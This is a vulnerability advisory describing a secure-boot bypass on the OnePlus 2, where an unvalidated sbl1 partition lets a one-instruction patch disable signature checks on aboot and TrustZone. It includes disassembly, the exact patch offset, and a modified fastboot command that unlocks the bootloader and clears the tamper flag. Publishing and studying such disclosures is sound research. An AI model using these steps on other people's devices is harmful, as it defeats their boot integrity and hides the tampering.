<--

OnePlus 2 Lack of SBL1 Validation Broken Secure Boot

Aleph Research Advisory

Identifier

Severity

Critical

Product

OnePlus 2

Technical Details

OnePlus 2 (a 2015 Qualcomm Snapdragon 810 device) successfully boots with a tampered Secondary Bootloader (sbl1) partition although it is digitally-signed, hence it is not validated by its Primary Bootloader (PBL), maybe due to lenient hardware configuration.

 [pbl]
  `-.
    [sbl1]
     `-.
       [aboot]
       |`-.
       |  [...]
       |-[tz]
       |-[rpm]
       |-[pmic]
       .
       .

Attackers capable of tampering with the sbl1 partition can then disable the signature validation of the rest of the bootloader chain and other SBL-validated partitions such as TrustZone and ABOOT.

 [pbl]
  `-.
    [sbl1*]
     `-.
       [aboot]
       |`-.
       |  [...]
       |-[tz]
       |-[rpm]
       |-[pmic]
       .
       .

* - Modified as per our PoC

Equivalent partitions of older OnePlus devices (One/X) seem to have no digital signatures at all, and therefore are vulnerable as well.

Proof-of-Concept

The goal of our PoC, whose results are available in our repo, is to disable the signature validation (implemented by SBL) of the rest of the partitions such as TrustZone and ABOOT.

In order to find the exact routine within the sbl1 image that does that, we first discovered the UART ports exposed on the OnePlus 2 board, by simply probing the available ones using our beloved Logic Analyzer:

"OnePlus 2 UART ports"

Booting with authentic partitions results in the following debug messages through UART:

 B -    274561 - SBL1, Start
 B -    281728 - scatterload_region && ram_init, Start
 B -    296490 - boot_flash_init, Start
 D -        30 - boot_flash_init, Delta
 B -    297039 - boot_config_data_table_init, Start
 D -      3629 - boot_config_data_table_init, Delta
 B -    306067 - Image Load, Start
 D -     14060 - PMIC Image Loaded, Delta
 B -    320097 - sbl1_ddr_set_params, Start
 D -       579 - sbl1_ddr_set_params, Delta
 B -    326136 - pm_device_init, Start
 B -    328607 - PON REASON:PM0:0x2000000a0 PM1:0x2000000a0
 D -     37332 - pm_device_init, Delta
 [...]
 B -    763720 - Image Load, Start
 D -     36020 - APPSBL Image Loaded, Delta
 B -    799740 - sbl1_efs_handle_cookies, Start
 D -       457 - sbl1_efs_handle_cookies, End 
 B -    805383 - RPM sync cookie updated
 B -    808921 - SBL1, End 
 D -    536708 - SBL1, Delta
 Android Bootloader - UART_DM Initialized!!!

Booting with tampered SBL-validated partitions (e.g. aboot, tz), however, results in the following error (or similar):

B -    205997 - SBL1, Start
B -    213317 - scatterload_region && ram_init, Start
B -    227896 - boot_flash_init, Start
D -        30 - boot_flash_init, Delta
B -    228475 - boot_config_data_table_init, Start
D -      3599 - boot_config_data_table_init, Delta
[...]
B -   1184406 - Qsee Execution, Start
D -     80184 - Qsee Execution, Delta
B -   1436458 - Image Load, Start
D -     73871 - RPM Image Loaded, Delta
B -   1510573 - Signal PBL to Jump to RPM FW
B -   1512037 - Image Load, Start
D -      2562 - WDT Image Loaded, Delta
B -   1518107 - Image Load, Start
B -   1683996 - Error code 302e at /work/home/jenkins/14049_user_MP_HYDROGEN/MODEM/MSM8994/msm8994/boot_images/core/boot/secboot3/src/boot_elf_loader.c Line 829

By back-referencing the error string with IDA we can easily pinpoint the SBL function which validates the rest of the chain:

ROM:00000000FEC0E908 loc_FEC0E908                            ; CODE XREF: sub_FEC0E89C+1Cj
ROM:00000000FEC0E908        MOV             X0, X19
ROM:00000000FEC0E90C        BL              sub_FEC0F9A0
ROM:00000000FEC0E910        CBZ             W0, loc_FEC0E934
ROM:00000000FEC0E914        ADRP            X0, #[email protected]
ROM:00000000FEC0E918        LDR             X3, [X0,#[email protected]]
ROM:00000000FEC0E91C        ADRP            X0, #(aSignalPblToJum+0x16) ; -
ROM:00000000FEC0E920        ADD             X0, X0, #[email protected] ; "/work/home/jenkins/14049_M_OOS_user_MP2"...
ROM:00000000FEC0E924        MOV             W1, #0x33D
ROM:00000000FEC0E928        MOV             W2, #0x302E
ROM:00000000FEC0E92C        BLR             X3
ROM:00000000FEC0E930
ROM:00000000FEC0E930 loc_FEC0E930
ROM:00000000FEC0E930        B               loc_FEC0E930
ROM:00000000FEC0E934
ROM:00000000FEC0E934 loc_FEC0E934                            ; CODE XREF: sub_FEC0E89C+74j
ROM:00000000FEC0E934        LDR             X19, [SP,#0x30+var_28]
ROM:00000000FEC0E938        LDP             X20, X21, [SP,#0x30+var_20]
ROM:00000000FEC0E93C        LDP             X22, X30, [SP,#0x30+var_10]
ROM:00000000FEC0E940        ADD             SP, SP, #0x30
ROM:00000000FEC0E944        RET
ROM:00000000FEC0E944 ; End of function sub_FEC0E89C

Notice the spinlock @ 0xFEC0E930. Quick patching of the call @ 0xFEC0E90C with MOVZ W0, #0 will avoid the failing path. And indeed, booting with tampered aboot and tz now succeeds:

B -    276757 - SBL1, Start
[...]
D -      7564 - QHEE Image Loaded, Delta
B -    760548 - Image Load, Start
D -     31690 - QSEE Image Loaded, Delta
[...]
D -     36021 - APPSBL Image Loaded, Delta
B -   1102178 - sbl1_efs_handle_cookies, Start
D -       457 - sbl1_efs_handle_cookies, End
B -   1107790 - RPM sync cookie updated
B -   1111420 - SBL1, End
D -    836920 - SBL1, Delta
Android Bootloader - UART_DM Initialized!!!
[50] project name got 14049
[...]
[1130] lk fg_volt = 4038
[1130] Backlight 1
[1670] WARM: power_on_reason  is HARD_RESET [0x21]
[1680] WARM: power_on_reason  is PON1 [0x21]
[1680] WARM: power_off_reason  is KPDPWR_N [0x80]
[1850] Channel alloc freed
[1870] Jumping to kernel via monitor

To prove we can execute code within aboot, we have also modified one of the fastboot oem commands, made it temporarily unlock the bootloader, and turn off the device tampering flag:

int __fastcall cowabunga_F92C60C(int a1, int a2)
{
[...]
  dword_F978FA4 = 1;    // unlocked
  dword_F978FA8 = 0;    // tampered
  FAIL("pizza",);
[...]
}

The result is as follows:

$ fastboot oem device-info 2>&1 | grep Device
(bootloader)    Device tampered: true
(bootloader)    Device unlocked: false
(bootloader)    Device is_verified: false

$ fastboot oem cowabunga
...
FAILED (remote: pizza)
finished. total time: 0.020s

$ fastboot oem device-info 2>&1 | grep Device
(bootloader)    Device tampered: false
(bootloader)    Device unlocked: true
(bootloader)    Device is_verified: false

Timeline

  • 24-Sep-17
    : Deadline Extension.
  • 01-Aug-17
    : Public disclosure.
  • 08-Jul-17
    : CVE-2017-11105 assigned.
  • 07-Jul-17
    : CVE ID requested.
  • 06-Jul-17
    : Deadline.
  • 05-Jul-17
    : Vendor reply: "Won't fix" ("About to reach the product's lifecycle").
  • 30-Jun-17
    : Vendor acknowledged report (deadline extended).
  • 26-Jun-17
    : Reported.
  • 22-Jun-17
    : Added as ALEPH-2017026.

Credit